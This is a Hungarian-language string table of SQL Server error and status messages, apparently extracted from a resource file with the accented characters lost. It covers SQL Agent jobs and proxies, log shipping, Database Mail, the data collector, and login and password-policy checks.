Csak a sysadmin (rendszergazda) szerepkr tagjai adhatjk meg a(z) %1!s! paramtert.

Csak a feladatok tulajdonosai vagy a sysadmin (rendszergazda) szerepkr tagjai vlaszthatjk le az temezseket.

DCsak a feladatok tulajdonosai vagy a sysadmin (rendszergazda) szerepkr, illetve a SQLAgentOperatorRole szerepkr tagjai trlhetik a feladatok elQzmnyeit.

\Csak a feladatok tulajdonosai vagy a sysadmin (rendszergazda) szerepkr, illetve a SQLAgentOperatorRole szerepkr tagjai indthatjk el s llthatjk le a feladatokat.

 Csak a feladattemezsek tulajdonosai vagy a sysadmin (rendszergazda) szerepkr tagjai mdosthatjk vagy trlhetik a feladattemezseket.

 %1!s!  a sysadmin (rendszergazda) kiszolgli szerepkr tagja, s nem engedlyezhetQ, illetve nem tilthat le szmra a proxy hasznlata. A sysadmin (rendszergazda) kiszolgli szerepkr tagjai brmelyik proxyt hasznlhatjk.

Csak a sysadmin (rendszergazda) kiszolgli szerepkr tagjai mdosthatjk a tbbkiszolgls feladatokat.

Csak a sysadmin (rendszergazda) kiszolgli szerepkr tagjai indthatjk el s llthatjk le a tbbkiszolgls feladatokat.

Csak a sysadmin (rendszergazda) kiszolgli szerepkr tagjai hozhatnak ltre tbbkiszolgls feladatokat.

A jelenlegi %1!s! proxy_id azonost s az j %2!s! proxy_id azonost nem egyezhet meg.

XA(z) %1!s! proxy nem tud hozzfrni a kvetkezQ alrendszerhez: %2!s!. Az sp_grant_proxy_to_subsystem trolt eljrs hasznlatval adjon engedlyeket ennek a proxynak.

tMeg kell adni egy plan_name vagy egy plan_id rtket.

|A terv nem trlhetQ. Bejegyzett adatbzisokat tartalmaz.

A clknt megadott adatbzis mr szerepel egy naplkldsi tervben.

PEz az adatbzis mr kld naplkat.

`A naplkldsi figyelQ mr definilva van.

SQL Server-hitelests hasznlata esetn a felhasznlnv nem lehet null rtkq.

Ennek a trolt eljrsnak az msdb adatbzisban kell futnia.

A figyelQkiszolgl nem trlhetQ, amg az adatbzisok a naplkldst vgzik.

A megadott @backup_file_name rtk nem lett ltrehozva a(z)  %1!s!  adatbzisbl.

A megadott @backup_file_name nem egy adatbzis biztonsgi msolata.

A naplklds elsQdleges adatbzisban (%1!s!.%2!s!) %3!s! perces hatrrtk van belltva a biztonsgi mentshez, s mr %4!s! perc telt el, de nem trtnt meg a napl biztonsgi mentse. EllenQrizze az gynk napljt s a naplkldsi figyelQ adatait.

PA naplklds msodlagos adatbzishoz (%1!s!.%2!s!) %3!s! perces hatrrtk van belltva a visszalltshoz, s az adatbzis nincs szinkronban. %4!s! perce nem trtnt visszallts. A visszallts ksleltetse %5!s! perc. EllenQrizze az gynk napljt s a naplkldsi figyelQ adatait.

lAdja meg a @plan_id vagy a @plan_name paramtert.

A tervbe ms adatbzisok vannak bejegyezve, amelyeket el kell tvoltani a terv trlse elQtt.

tA(z)  %1!s!  adatbzis mr szerepel a naplkldsben.

tA(z)  %1!s!  adatbzis nem szerepel a naplkldsben.

$A naplkldsi figyelQ mr definilva van. Hvja meg az sp_define_log_shipping_monitor trolt eljrst a @delete_existing = 1 paramterrel.

|Az SQL Server biztonsghoz felhasznlnvre van szksg.

Nem lehet eltvoltani a figyelQt, mert mg vannak olyan adatbzisok, amelyek szerepelnek a naplkldsben.

Mg vannak msodlagos kiszolglk csatlakoztatva az elsQdleges kiszolglhoz.

A clknt megadott %1!s! elrsi t rvnytelen. Nem lehet listzni a knyvtr tartalmt. Adjon meg rvnyes elrsi utat clknt.

tNem sikerlt belltani az egyfelhasznls zemmdot.

TSikerlt a szerepkr megvltoztatsa.

\Nem sikerlt a szerepkr megvltoztatsa.

A megadott @backup_file_name rtk nem a(z)  %1!s!  adatbzisbl lett kiolvasva.

A megadott @backup_file_name nem egy adatbzis biztonsgi msolata.

pAdjon meg nem nulla rtkq zenetazonostt, nem nulla rtkq slyossgot, nem null rtkq teljestmnyfelttelt vagy nem null rtkq WMI-nvteret, s hajtsa vgre a lekrdezst.

xA felttelhez mr meg van adva egy riaszts ( %1!s! ).

A @target_name paramtert meg kell adni  TARGET  rtkq @enum_type paramter megadsakor.

A @target_name paramtert meg kell adni  ALL  vagy  ACTUAL  rtkq @enum_type paramter megadsakor.

A(z)  %1!s!  a hibamentes opertor. Msik opertort kell belltania a hibamentes opertornak, mielQtt eldobja a(z)  %2!s!  opertort.

Teljestmnyfelttel megadsakor null rtkq %1!s! megadsa szksges.

A(z) %1!s! zenetazonosthoz nem llthatk be riasztsok.

PA teljestmnyfeltteleket a kvetkezQ formtumban kell megadni:  object_name|counter_name|instance_name|sszehasonlt opertor(> vagy < vagy =)|numerikus rtk .

|Adja meg ah @wmi_namespace s a @wmi_query paramtert is.

A @wmi_namespace paramter megadsakor egy rvnyes %1!s! megadsa is szksges.

A @wmi_namespace paramter megadsakor egy null rtkq %1!s! megadsa is szksges.

A @wmi_query paramterben megadott lekrdezst nem sikerlt vgrehajtani a @wmi_namespace paramterben megadott nvtrben. EllenQrizze, hogy a lekrdezslistn kivlasztott esemnyosztly ltezik-e a nvtrben, s helyes-e a lekrdezs szintaxisa.

A @wmi_query paramter megadsakor egy rvnyes %1!s! megadsa is szksges.

$Csak a sysadmin (rendszergazda) kiszolgli szerepkr tagja vehet fel feladatot a @owner_login_name nvvel rendelkezQ ms tulajdonos szmra.

A proxy (%1!s!) nincs engedlyezve a(z)  %2!s!  alrendszer s a(z)  %3!s!  felhasznl szmra. Adja meg az engedlyt az sp_grant_proxy_to_subsystem vagy az sp_grant_login_to_proxy trolt eljrs meghvsval.

A proxyfikok nem engedlyezettek a Transact-SQL alrendszerekben.

PA proxy (%1!s!) nem trlhetQ. Legalbb egy feladatlps hasznlja. Mdostsa a proxyt mindegyik feladatlpsnl az sp_reassign_proxy trolt eljrs meghvsval.

A @login_name, a @fixed_server_role s a @msdb_role paramterek kzl csak az egyik adhat meg.

8A(z)  %1!s!  nem rvnyes SQL Server szabvnyos bejelentkezsi azonost, Windows NT-felhasznl, Windows NT-csoport vagy msdb adatbzisbeli szerepkr.

A(z)  %1!s!  nem rvnyes SQL Server rgztett kiszolgli szerepkr, Windows NT-felhasznl vagy Windows NT-csoport.

A(z)  %1!s!  nem rvnyes msdb adatbzisbeli szerepkr, Windows NT-felhasznl vagy Windows NT-csoport.

A(z)  %1!s!  nem kapott engedlyt a(z)  %2!s!  proxy hasznlatra.

lAdja meg a kvetkezQk egyikt: %1!s! vagy %2!s!.

HCsak a sysadmin (rendszergazda) szerepkr tagjai szmra engedlyezett egy msik bejelentkezsi azonost tulajdonban lvQ feladatok frisstse vagy trlse.

A megadott  %1!s!  kategria nem ltezik a(z)  %2!s!  kategriaosztlyban.

,A(z)  %1!s!  feladatot nem hasznlhatja riaszts. ElQszr hozz kell rendelni egy kiszolglhoz az sp_add_jobserver trolt eljrs meghvsval.

tA(z)  %1!s!  feladathoz nincsenek definilva lpsek.

tA(z)  %1!s!  proxy nem rvnyes Windows-felhasznl.

A Transact-SQL alrendszer nem hajthat vgre egy proxyfik krnyezetben.

A proxy hozzfrsre vonatkoz engedly mr meg van adva. EllenQrizze az aktulis engedly-hozzrendelseket.

%1!s! s %2!s!   adja meg mindkettQt, vagy ne adja meg egyiket sem.

Hasznljon proxyt, vagy hasznlja a user_domain, a user_name, illetve a user_password paramtert.

A user_domain, a user_name s a user_password paramtert egyarnt meg kell adni.

A user_domain, a user_name s a user_password paramter csak repliklsi alrendszerekhez adhat meg.

Csak a sysadmin (rendszergazda) szerepkr tagjai adhatjk meg a(z) %1!s! paramtert.

A letiltott proxy (proxy_id = %1!s!) krnyezetben trtnQ vgrehajts nem engedlyezett. Forduljon a rendszergazdhoz.

Csak az SQL Server Standard vagy Enterprise kiads jegyezhetQ be MSX-kiszolglba.

Csak a Microsoft Windows NT rendszerben fut SQL Server jegyezhetQ be MSX-kiszolglba.

Az MSX-kiszolgl verzija (%1!s!) nem megfelelQ a TSX-kiszolgl tmogatshoz. Az MSX-kiszolgln %2!s! vagy jabb verzi szksges.

A tbbkiszolgls feladatok TSQL-lpseiben nem hasznlhat nem null %1!s! rtk.

HA(z)  %1!s!  bejelentkezsi azonost egy vagy tbb tbbkiszolgls feladat tulajdonosa. Csak a(z) %2!s! szerepkr tagjai lehetnek ezen feladatok tulajdonosai.

A feladat tulajdonosa  %1!s! . Csak a(z) %2!s! szerepkr tagjnak tulajdonban lvQ feladat lehet tbbkiszolgls feladat.

A(z) %1!s! paramter nem rvnyes a(z)  %2!s!  tpus feladatlpshez.

A(z) %1!s! paramter nem tmogatott a Windows 95/98 platformokon.

Csak a sysadmin (rendszergazda) szerepkr tagja adhatja meg a feladatlpsek  @output_file_name  paramtert.

Csak a sysadmin (rendszergazda) szerepkr tagja adhatja meg a  @database_user_name  paramtert.

Csak a(z)  %1!s!  DTS-csomag tulajdonosa vagy a sysadmin (rendszergazda) szerepkr tagja vltoztathatja meg a csomag tulajdonost.

Csak a(z)  %1!s!  DTS-csomag tulajdonosa vagy a sysadmin (rendszergazda) szerepkr tagja hozhat ltre j verzikat a csomagbl.

Csak a(z)  %1!s!  DTS-csomag tulajdonosa vagy a sysadmin (rendszergazda) szerepkr tagja dobhatja el a csomagot s annak verziit.

A(z)  %1!s!  DTS-csomag ms azonostval mr szerepel ebben a kategriban.

A(z)  %1!s!  SSIS-mappa mr ltezik a megadott szlQmappban.

A(z)  %1!s!  DTS-kategria tbb szlQkategriban is szerepel. Egyedi mdon kell megadnia az eldobni kvnt kategrit.

A(z)  %1!s!  SSIS-mappa csomagokat s/vagy ms mappkat tartalmaz. ElQbb el kell dobnia ezeket.

A(z)  %1!s!  DTS-csomag klnbzQ kategrikban is szerepel. Egyedi mdon kell megadnia a csomagot.

xA(z)  %1!s!  DTS-csomag ltezik egy msik kategriban.

hA(z)  %1!s!  DTS-csomag mr ltezik ms nvvel.

A Local, a Repository s a LocalDefault DTS-kategria nem dobhat el.

A(z)  %1!s!  proxy nem kapott engedlyt a(z)  %2!s!  alrendszer hasznlatra.

A(z)  %1!s!  opertor nincs engedlyezve, ezrt nem fogadhat rtestseket.

pA(z)  %1!s!  opertornak nincs megadva e-mail cm.

xAz adatbzisbeli levelezs nincs megfelelQen belltva.

|Egyik %1!s! paramter (azonost s nv) sem lehet NULL.

A kt %1!s! paramter (azonost s nv) nem ugyanarra az objektumra mutat.

LA(z) %1!s! azonost rvnytelen.

@A(z) %1!s! nv rvnytelen.

tA(z) %1!s! vagy a(z) %2!s! paramtert meg kell adni.

Nem ltezik levelezsi adatbzis a felhasznli adatbzis-hozzrendelshez, ezrt nem frissthetQ.

A @profile_name vagy a @description paramtert meg kell adni a frisstshez.

hA fik sorszmt meg kell adni a frisstshez.

Minden rendszerbiztonsgi taghoz tartoznia kell legalbb egy alaprtelmezett profilnak.

8A megadott  %1!s!  nem hasznlhat vesszQket (,) a cmek elvlasztsra:  %2!s! . A folytatshoz hasznljon pontosvesszQket (;) a cmek elvlasztsra.

hA(z) %1!s! nem rvnyes mailserver_type tpus.

A @username paramtert meg kell adni, ha a @password paramter meg van adva.

Nem lehet lekrni az jonnan ltrehozott hitelestQ adatokat [%1!s!] a hitelestQ adatok troljbl.

lA megadott levelezsi gazdaadatbzis rvnytelen.

A(z)  %1!s!  paramtert meg kell adni. Ez a paramter nem lehet NULL.

Hiba trtnt a Service Broker s az adatbzisbeli levelezs kztt folytatott beszlgets sorn. Lehetsges, hogy nem rhetQ el az adatbzisbeli levelezs, vagy hiba trtnt a mqkdsben. EllenQrizze az adatbzisbeli levelezs hibanapljt.

,A Service Broker s az adatbzisbeli levelezs kztt folytatott beszlgets befejezQdtt gy, hogy az utbbi nem adott vlaszt. Lehetsges, hogy nem rhetQ el az adatbzisbeli levelezs, vagy hiba trtnt a mqkdsben. EllenQrizze az adatbzisbeli levelezs hibanapljt.

A @attachmentencoding paramter nem tmogatja a(z)  %1!s!  rtket. A mellkletnek  MIME  kdolsnak kell lennie.

A @importance paramter nem tmogatja a(z)  %1!s!  rtket. A levelezs fontossgi rtke csak LOW, NORMAL vagy HIGH lehet.

4A @sensitivity paramter nem tmogatja a(z)  %1!s!  rtket. A levelezs tartalmi belltsa csak NORMAL, PERSONAL, PRIVATE vagy CONFIDENTIAL lehet.

Legalbb egyet meg kell adni a kvetkezQ paramterek kzl:  %1!s! .

tA @attach_query_result_as_file paramter rtke nem lehet 1 (igaz), ha nincs rtk megadva a @query paramterben. A lekrdezs eredmnyeinek kapcsolshoz lekrdezst kell megadni.

A @mailformat paramter nem tmogatja a(z)  %1!s!  rtket. A levelezsi formtum csak TEXT vagy HTML lehet.

A(z) %1!s! hiba rkezett a(z) %2!s! mqvelet rszeknt kldtt zenetre vonatkozan. Lehetsges, hogy nem rhetQ el az adatbzisbeli levelezs, vagy hiba trtnt a mqkdsben. EllenQrizze az adatbzisbeli levelezs hibanapljt.

A @attachments paramter formtuma helytelen. A fjlneveket pontosvesszQvel (;) kell elvlasztani.

Nincs  %1!s!  nevq konfigurcis paramter, vagy helytelen a megadott rtk adattpusa.

Az adatbzisbeli levelezs szmra nem engedlyezett a(z) %1!s! kiterjesztsq fjlok kldse.

Az aktulis felhasznlnak ( %1!s! ) nincs engedlye a @execute_query_database paramterben megadott adatbzis elrsre, vagy nem lehet megszemlyesteni a @execute_query_as paramterben megadott felhasznlt. Csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr tagjai s a db_owner rgztett adatbzis-szerepkr tagjai szemlyesthetnek meg ms felhasznlt.

A @execute_query_as paramterben megadott %1!s! felhasznlnv rvnytelen. Nincs ilyen nevq felhasznl.

A @execute_query_database paramterben megadott %1!s! adatbzisnv rvnytelen. Nincs ilyen nevq adatbzis.

Nincs belltott globlis profil. Adjon meg egy profilnevet a @profile_name paramterben.

A levl nem kerlt a vrakozsi sorba. Az adatbzisbeli levelezs lellt. Hasznlja a sysmail_start_sp eljrst az elindtshoz.

Nem lehet tesztelni a profilt. Az adatbzisbeli levelezs lellt. Hasznlja a sysmail_start_sp eljrst az elindtshoz.

XA Service Broker zenetkzbestse nincs engedlyezve ebben az adatbzisban. Az ALTER DATABASE utasts hasznlatval engedlyezze a Service Broker zenetkzbestst.

Nem lehet tesztelni a profilt. A Service Broker zenetkzbestse nincs engedlyezve ebben az adatbzisban. Az ALTER DATABASE utasts hasznlatval engedlyezze a Service Broker zenetkzbestst.

Drvnytelen zenet rkezett az ExternalMailQueue szolgltats vrakozsi sorba. conversation_handle: %1!s!. message_type_name: %2!s!. zenet trzse: %3!s!.

Lrvnytelen %1!s! rtk rkezett az ExternalMailQueue szolgltats vrakozsi sorba. conversation_handle: %2!s!. message_type_name: %3!s!. zenet trzs: %4!s!.

\rvnytelen XML-zenetformtum rkezett az ExternalMailQueue szolgltats vrakozsi sorba. conversation_handle: %1!s!. message_type_name: %2!s!. zenet trzse: %3!s!.

A levl nem kerlt be a vrakozsi sorba. A(z) %2!s! bejelentkezsi azonost tllpte a levelek napi maximlis szmt (%1!s!).

Nem sikerlt lekrni az SQLPath rtket a syssubsystems tbla feltltshez.

Nem sikerlt lekrni a VerSpecificRootDir rtket a syssubsystems tbla feltltshez.

Az adatbzis kompatibilitsi szintje tl alacsony. A kompatibilits szintnek a Version80 rtknek vagy ennl nagyobbnak kell lennie.

dNem sikerlt a lekrdezs vgrehajtsa: %1!s!

Az adatbzisbeli levelezs naplzsi szintje: norml   1, bQvtett   2 (alaprtk), rszletes   3

A felhasznlnv nem adhat meg az alaprtelmezett hitelestQ adatok hasznlata esetn.

A(z) %1!s! levlazonost trlve lett a sysmail_mailitems tblbl. Ez a levl nem lesz elkldve.

TNem sikerlt a(z) %1!s! profil trlse, mert nhny nem elkldtt e-mail tartozik a profilhoz. A profil knyszertett trlshez hasznlja a force_delete belltst.

Nem lehet trlni az aktv  %1!s!  gyqjtemnykszletet. lltsa le a gyqjtemnykszletet, majd prblja meg jbl.

Nem lehet frissteni az aktv  %2!s!  gyqjtemnykszletben tallhat  %1!s!  gyqjtemnyelem nevt vagy paramtereit. lltsa le a gyqjtemnykszletet, majd prblja meg jbl frissteni a gyqjtemnyelemet.

lNem lehet trlni az aktv  %2!s!  gyqjtemnykszletben tallhat  %1!s!  gyqjtemnyelemet. lltsa le a gyqjtemnykszletet, majd prblja meg jbl trlni a gyqjtemnyelemet.

Nem lehet trlni a(z)  %1!s!  gyqjtQtpust. Trlje az adott gyqjtQtpushoz rendelt sszes gyqjtemnyelemet, majd prblja meg jbl.

4Nem lehet adatokat feltlteni az inaktv  %1!s!  gyqjtemnykszletbe. Indtsa el a gyqjtemnykszletet, s prblja meg jbl feltlteni az adatokat.

Nem lehet frissteni az aktv  %1!s!  gyqjtemnykszlet name, target, proxy_id, logging_level vagy collection_mode paramtert, illetve nem lehet gyqjtemnyelemeket felvenni bele. lltsa le a gyqjtemnykszletet, s prblja meg jbl.

A felhasznlnak nincs engedlye a(z)  %1!s!  megvltoztatsra. A felhasznlnak a(z)  %2!s!  adatgyqjtQ szerepkr tagjnak kell lennie.

A felhasznlnak nincs engedlye a mqvelet vgrehajtsra. A felhasznlnak a(z)  %1!s!  adatgyqjtQ szerepkr tagjnak kell lennie.

Az SQL Server %1!s! azonostj nyomkvetsi szolgltatst lelltotta s bezrta egy klsQ felhasznl. Az SQL Server nyomkvetsi szolgltatsnak gyqjtQje megprblja jbl ltrehozni a nyomkvetst.

A megadott %1!s! (%2!s!) nem rvnyes ebben az adatraktrban.

A kezelsi adatraktr adatbzisa csak az SQL Server 2008 vagy jabb pldnyn telepthetQ.

Ez az eljrs nem hajthat vgre, amikor a gyqjtQ le van tiltva. Engedlyezze a gyqjtQt, majd prblja meg jbl.

A gyqjtemnykszlet llapota megvltozott, de a gyqjtQ engedlyezsig nem fog elindulni vagy lellni.

A gyqjtemnykszletek gyorsttrazott zemmdban temezst ignyelnek.

Tallt hiba szma: %1!s!, szint: %2!s!, llapot: %3!s!, eljrs: %4!s!, sor: %5!s!, zenet: %6!s!

A(z)  %1!s!  gyqjtemnykszlet nem tartalmaz egyetlen gyqjtemnyelemet sem, gy a gyqjtemnykszlet elindtsnak nem lesz hatsa.

A konfigurcis adattrol MDWInstance s MDWDatabase paramtere nem lehet null rtkq.

hA @cache_window paramter rtke (%1!s!) rvnytelen. Engedlyezett rtkek: -1 (az elQzQ sikertelen feltltsek sszes feltltsi adatnak gyorsttrba helyezse), 0 (a feltltsi adatok nem kerlnek be a gyorsttrba), N (az elQzQ sikertelen feltlts adatainak gyorsttrba helyezse, ahol N >= 1)

A gyqjtemnykszletek nem indthatk el, amikor az SQL Server Agent le van lltva. Indtsa el az SQL Server Agent szolgltatst.

hA gyqjtemnykszletek nem indthatk el, ha a kezelsi adatraktr nincs belltva. Az instmdw.sql parancsprogram futtatsval hozza ltre s lltsa be a kezelsi adatraktrt.

Ez az eljrs nem hajthat vgre, amikor a gyqjtQ engedlyezve van. Tiltsa le a gyqjtQt, majd prblja meg jbl.

A gyqjtQ llapota nem lehet null rtkq. Ez a gyqjtQ konfigurcis adatainak belsQ srlsre utalhat.

xNincs megfelelQ jogosultsg a(z)  %1!s!  gyqjtemnykszlet elindtshoz. Csak a  sysadmin  (rendszergazda) rgztett kiszolgli szerepkr tagjai indthatjk el a gyqjtemnykszleteket az SQL Server Agent proxy nlkl. Csatlakoztassa egy SQL Server Agent proxyt a gyqjtemnykszlethez, majd prblja meg jbl.

A gyqjtemnykszletek nem indthatk el temezs nlkl. Adjon meg egy temezst a gyqjtemnykszlethez.

Nem gyorsttrazott zemmdban nem tlthetQk fel igny szerinti adatok a(z)  %1!s!  gyqjtemnykszlet szmra. 

Gyorsttrazott zemmdban nem gyqjthetQk igny szerinti adatok a(z)  %1!s!  gyqjtemnykszlet szmra. 

  A rendszergyqjtemny-kszleteket nem lehet frissteni vagy trlni, illetve nem lehet j gyqjtemnyelemeket felvenni ezekbe a kszletekbe.

Nem lehet XML-re talaktani a tervmegjelentst. Hiba szma: %1!s!, sor: %2!s!: %3!s!

Az adatgyqjtQ nem indthat el, amikor az SQL Server Agent le van lltva. Indtsa el az SQL Server Agent szolgltatst.

Csak a dbo vagy a dc_admin szerepkr tagjai telepthetik vagy frissthetik az instmdw.sql parancsprogramot. A mqvelet vgrehajtst krje egy olyan rendszergazdtl, aki rendelkezik a megfelelQ engedlyekkel.

Kezelsi adatraktrak nem telepthetQk az SQL Server Express Edition rendszerbe.

A(z)  %1!s!  verzij kezelsi adatraktr frisstsre trtnt ksrlet egy korbbi verzival:  %2!s! . A frissts megszakadt.

xA(z)  %1!s!  nem kapott engedlyt a proxy hasznlatra.

A mqvelet sikertelen volt, mert a hitelestQ adatokhoz tartoz  %1!s!  identits nem rvnyes Windows-fik.

A(z)  %1!s!  objektum nem ltezik, vagy nem rvnyes ehhez a mqvelethez.

A(z)  %1!s!  eljrs nem hajthat vgre tranzakcin bell.

Csak a(z) %1!s! szerepkr tagjai hajthatjk vgre ezt a trolt eljrst.

4A nv nem lehet NULL.

A(z)  %1!s!  nem rvnyes nv, mert rvnytelen karaktereket tartalmaz.

A(z)  %1!s!  nem rvnyes bejelentkezsi azonost, vagy nnek nincs engedlye.

A(z)  %1!s!  felhasznl nem ltezik az aktulis adatbzisban.

A(z)  %1!s!  objektum nem ltezik a(z)  %2!s!  adatbzisban, vagy nem rvnyes ehhez a mqvelethez.

@A(z)  %1!s!  adatbzis nem ltezik. Adjon meg rvnyes adatbzisnevet. Az elrhetQ adatbzisok megtekintshez hasznlja a sys.databases katalgusnzetet. 

A(z)  %1!s!  adatbzis-bellts nem ltezik. Adjon meg rvnyes adatbzis-belltst.

A kvetkezQ eszkz nem ltezik:  %1!s! . Az elrhetQ eszkzk megjelentshez hasznlja a sys.backup_devices katalgusnzetet.

A(z)  %1!s!  szerepkr nem ltezik az aktulis adatbzisban.

A(z)  %1!s!  kiszolgl nem ltezik. Az elrhetQ kiszolglk megjelentshez hasznlja az sp_helpserver trolt eljrst.

XAz alaprtelmezett  %1!s!  nem ltezik.

LA(z)  %1!s!  szably nem ltezik.

lA(z)  %1!s!  bQvtett trolt eljrs nem ltezik.

A(z) %1!s! paramternek megadott rtk rvnytelen. Adjon meg rvnyes paramterrtket.

pA megadott felhasznlnvhez mr tartozik aliasnv.

A(z)  %1!s!  felhasznl, csoport vagy szerepkr mr ltezik az aktulis adatbzisban.

A kiszolgl  %1!s!  rendszerbiztonsgi tagja mr ltezik.

\A(z)  %1!s!  logikai eszkz mr ltezik.

TA(z)  %1!s!  kiszolgl mr ltezik.

A(z)  %1!s!  adatbzis mr ltezik. Adjon meg egyedi adatbzisnevet.

dA(z)  %1!s!  nem rvnyes hivatalosnyelv-nv.

lAz alkalmazs szerepkr jelszava nem lehet NULL.

A(z)  %1!s!  adattpus nem ltezik, vagy nnek nincs megfelelQ engedlye.

A felhasznl ltal definilt hibazenetek azonostjnak 50000-nl nagyobbnak kell lennie.

A felhasznl ltal definilt hibazenetek slyossgi szintjnek 1 s 25 kztt kell lennie.

MeglvQ zenet fellrshoz a  REPLACE  belltst kell megadnia.

A(z)  %1!s!  tpus ismeretlen tpus a biztonsgimsolat-eszkzk esetben. Hasznlja a  disk  vagy a  tape  tpust.

DA logikai nv nem lehet NULL.

DA fizikai nv nem lehet NULL.

Nem lehet megszntetni a(z)  %1!s!  ktst. Hasznlja az ALTER TABLE DROP CONSTRAINT utastst.

Nem lehet megadni az alaprtelmezett  %1!s!  ktst. Az alaprtket a CREATE DEFAULT utasts hasznlatval kell ltrehozni.

Nem lehet tnevezni a tblt, mert repliklshoz van kzztve.

Nhny meglvQ objektum tulajdonosa nem az adatbzis-tulajdonos.

A(z) %1!s! nevek listja szkzket tartalmaz, ami nem megengedett.

dA(z) %1!s! listja tl kevs nevet tartalmaz.

`A(z) %1!s! listja tl sok nevet tartalmaz.

A(z) %1!s! nevek listja olyan neveket tartalmaz, amelyekben az bcben nem szereplQ karakterek ( %2!s! ) tallhatk.

TAz eszkz felvtelre vonatkoz krelem megtagadva. Mr ltezik  %1!s!  nevq fizikai eszkz. A fizikai eszkzk nevre csak egy biztonsgimsolat-eszkz hivatkozhat.

A vendg felhasznl nem rendelhetQ hozz bejelentkezsi nvhez.

A bejelentkezsi nvhez mr tartozik fik ms felhasznlnvvel.

Az sszes felhasznlazonost hozzrendelse el lett vgezve.

Mr ltezik alaprtelmezett nvhozzrendels a tvoli  %1!s!  kiszolgl egyik tvoli bejelentkezsi azonostjhoz.

Egy  %1!s!  tvoli felhasznl mr ltezik a tvoli  %2!s!  kiszolglhoz.

Egy vagy tbb felhasznl hasznlja az adatbzist. A krt mqveletet nem lehet vgrehajtani.

Hasznlat: sp_addmessage <zenetszm>,<slyossg>,<zenetszveg> [,<nyelv> [,FALSE | TRUE [,REPLACE]]]

Hasznlat: sp_addremotelogin tvoli_kiszolgl [,bejelentkezsi_nv [,tvoli_nv]]

Az alaprtknek, a tblnak s a felhasznli adattpusnak az aktulis adatbzisban kell lennie.

A szablynak, a tblnak s a felhasznli adattpusnak az aktulis adatbzisban kell lennie.

A tblnak vagy a nzetnek az aktulis adatbzisban kell lennie.

A(z) %1!s! paramter nem hasznlhat Windows bejelentkezsi azonosthoz.

tA nyilvnos szerepkr tagsga nem vltoztathat meg.

xA(z)  %1!s!  fizikai adattpus nem fogad el rendezst.

Az oszlopnak vagy a felhasznli adattpusnak az aktulis adatbzisban kell lennie.

Hasznlat: sp_addtype nv, 'adattpus' [,'NULL' | 'NOT NULL']

A(z)  %1!s!  objektum nem tallhat, nnek nincs megfelelQ engedlye, vagy az objektumhoz nem adhat meg kiterjesztett tulajdonsg.

A kiterjesztett tulajdonsgokhoz megadott mret nem lehet nagyobb 7500 bjtnl.

,A nvvltoztats nem hajthat vgre, mert az j nv biztonsgi azonostja nem felel meg a rendszerbiztonsgi tag rgi biztonsgi azonostjnak.

A MUST_CHANGE kapcsol nem hasznlhat, ha a CHECK_EXPIRATION bellts rtke OFF.

Hasznlat: sp_bindefault alaprtelmezett_nv, objektumnv [, 'futureonly']

8Nem kthetQ alaprtk szmtott oszlophoz, ritka oszlophoz, illetve a kvetkezQ adattpus oszlophoz: idQblyegzQ, varchar(max) (vltoz hosszsg karakteres), nvarchar(max) (vltoz hosszsg karakteres), varbinary(max) (vltoz hosszsg binris), XML- vagy CLR-beli tpus.

`Nem kthetQ alaprtk azonost oszlophoz.

Nem kthetQ alaprtk olyan oszlophoz, amely alaprtkkel lett ltrehozva vagy gy lett mdostva, hogy legyen alaprtke.

n nem tulajdonosa a(z)  %1!s!  nevq tblnak, amely egy  %2!s!  nevq oszlopot tartalmat.

Hasznlat: sp_bindrule szablynv, objektumnv [, 'futureonly']

Nem kthetQ alaprtk szmtott oszlophoz, ritka oszlophoz, illetve a kvetkezQ adattpus oszlophoz: szveges, ntext (vltoz hosszsg szveges), kp, idQblyegzQ, varchar(max) (vltoz hosszsg karakteres), nvarchar(max) (vltoz hosszsg karakteres), varbinary(max) (vltoz hosszsg binris), xml vagy felhasznl ltal definilt adattpus.

Az sp_addtype trolt eljrs nem hasznlhat felhasznl ltal definilt adattpusok ltrehozsra a kvetkezQ adattpusokhoz: varchar(max) (vltoz hosszsg karakteres), nvarchar(max) (vltoz hosszsg karakteres) vagy varbinary(max) (vltoz hosszsg binris). Hasznlja a CREATE TYPE utastst erre a clra.

A master, a model, a tempdb vagy a terjesztsi adatbzis tulajdonosa nem vltoztathat meg.

A javasolt j adatbzis-tulajdonos mr felhasznl vagy van aliasneve az adatbzisban.

$A  text in row  tblabellts harmadik paramtere rvnytelen. A lehetsges rtkek:  on ,  off ,  0 ,  1  vagy egy 24 s 7000 kztti szm.

Tl sok sikertelen bejelentkezsi ksrlet trtnt. A rendszer tmenetileg zrolta ezt a fikot, hogy megakadlyozza a jelszra irnyul tallgatst. A fik zrolst egy rendszergazda oldhatja fel az ALTER LOGIN utasts UNLOCK zradkval.

A jelsz rvnyestse sikertelen volt. A jelsz tl friss, gy nem mdosthat.

A jelsz rvnyestse sikertelen volt. A jelsz jelenleg nem hasznlhat.

A jelsz rvnyestse sikertelen volt. A jelsz nem felel meg a Windows hzirend kvetelmnyeinek, mert tl rvid.

A jelsz rvnyestse sikertelen volt. A jelsz nem felel meg a Windows hzirend kvetelmnyeinek, mert tl hossz.

A jelsz rvnyestse sikertelen volt. A jelsz nem felel meg a Windows hzirend kvetelmnyeinek, mert tl egyszerq.

A jelsz rvnyestse sikertelen volt. A jelsz nem felel meg a jelszszqrQ DLL kvetelmnyeinek.

pVratlan hiba trtnt a jelsz rvnyestse sorn.

Hiba trtnt a(z) %1!s! vgrehajtsa kzben. Sikertelen a kvetkezQre irnyul hvs:  %2!s! , a hibakd:  %3!s! .

A CHECK_EXPIRATION bellts nem hasznlhat, ha a CHECK_POLICY rtke OFF.

A(z)  %1!s!  konfigurcis bellts nem ltezik, vagy pedig ez egy specilis bellts.

|Nem egyedi a kvetkezQ konfigurcis bellts:  %1!s! .

A(z)  %1!s!  esemnyindt nem esemnyindtja a kvetkezQnek:  %2!s! .

Az alaprtelmezett nyelvet nem llthatja be olyan nyelvi azonostra, amely nincs definilva a syslanguages nyelvek kztt.

A CHECK_POLICY s a CHECK_EXPIRATION bellts nem llthat OFF rtkre, ha a MUST_CHANGE rtke ON.

 %1!s!  nem rvnyes rtk a kvetkezQ konfigurcis belltshoz:  %2!s! .

|Mr van  %1!s!  esemnyindtja a kvetkezQnek:  %2!s! .

lHasznlat: sp_dbremove <adatbzisnv> [,dropdev]

A(z)  %1!s!  INSTEAD OF esemnyindt nem trsthat sorrendhez.

hNem ltezik aliasnv a megadott felhasznlhoz.

rvnytelen az objektum. Kiterjesztett tulajdonsgok nem engedlyezettek a kvetkezQn:  %1!s! , vagy pedig az objektum nem ltezik.

